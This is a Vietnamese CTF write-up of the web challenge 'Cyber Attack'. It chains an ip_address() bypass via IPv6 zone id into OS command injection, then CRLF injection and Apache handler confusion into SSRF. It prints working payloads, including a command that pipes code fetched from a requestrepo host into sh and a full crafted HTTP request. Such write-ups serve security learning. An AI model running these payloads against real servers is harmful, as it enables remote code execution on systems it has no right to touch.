Cyber Attack
[web] Cyber Attack - web - easy
Author: tan3ora
- Tên: Cyber Attack
- Description: Welcome, Brave Hero of Eldoria. You’ve entered a domain controlled by the forces of Malakar, the Dark Ruler of Eldoria. This is no place for the faint of heart. Proceed with caution: The systems here are heavily guarded, and one misstep could alert Malakar’s sentinels. But if you’re brave—or foolish—enough to exploit these defenses, you might just find a way to weaken his hold on this world. Choose your path carefully: Your actions here could bring hope to Eldoria… or doom us all. The shadows are watching. Make your move.
- Có source code
Phân tích
Web target có 2 chức năng:
- Attack a Domain trỏ tới
/cgi-bin/attack-domain.py - Attack an IP trỏ tới
/cgi-bin/attack-ip.py
Bypass ip_address() -> OS CmdI
Phân tích source code attack-domain.py :
1 | #!/usr/bin/env python3 |
và attack-ip.py :
1 | ... |
Ở đây đều có thể khai thác OS command Injection nếu ta kiểm soát được giá trị target , tuy nhiên phải bypass qua hàm ip_address() hoặc bypass regex :
1 | def is_domain(target): |
Sau khi tìm kiếm thì có thể bypass được qua hàm ip_address() dựa vào đây.
Nên để khai thác OS cmdi ta chỉ cần dùng payload fe80::1%<command> là được.
Kiểm tra config của Apache:
1 | ServerName CyberAttack |
Ta thấy Attack an IP chỉ chấp nhận được gọi khi dùng IP local -> cần tìm cách để SSRF tới Attack an IP,và chắc chắn là từ Attack a Domain.
Handler Confusion -> SSRF
Quay lại phân tích attack-domain ta phát hiện attack-domain.py trong cgi-bin đã in ra name trong thông báo lỗi mà không hề lọc ký tự đặc biệt:
1 | elif is_domain(target): |
Có thể sử dụng CRLF Injection để inject thêm header,mà ta đã biết ở file cấu hình Apache đã cấu hình AddType application/x-httpd-php .php thay vì AddHandler application/x-httpd-php .php điều này nghĩa là AddType chỉ gán giá trị vào r->content_type, không gán trực tiếp handler.
Do code cũ trong Apache (từ 1996), Apache có đoạn:
1 | if (!r->handler) { |
Điều này có thể bị lợi dụng để ép Apache dùng content_type làm handler –> gây ra Handler Confusion.
Để biết thêm chi tiết có thể đọc thêm tại đây.
Ta có thể khai thác CRLF Injection -> Handler Confusion -> SSRF với payload :
1 | GET /cgi-bin/attack-domain?target=1.1.1.1&name=ttp://%0d%0aLocation:/ooo%0d%0aContent-Type:proxy:<Link_target> HTTP/1.1 |
Khai thác
Bypass ip_address() và khai thác OScmdi với payload:
1 | target=fe80::1%;curl 1e5qhv69.requestrepo.com | sh&name=hi |
Ở requestrepo,sử dụng payload để lấy flag:
image
Gửi request:
1 | GET /cgi-bin/attack-domain?target=1.1.1.1&name=ttp://%0d%0aLocation:/ooo%0d%0aContent-Type:proxy:http://127.0.0.1/cgi-bin/attack-ip%3Ftarget%3dfe80%253a%253a1%2525%253bcurl%25201e5qhv69.requestrepo.com%2520|%2520sh%26name%3dhi%20%0d%0a%0d%0a HTTP/1.1 |
Lấy flag: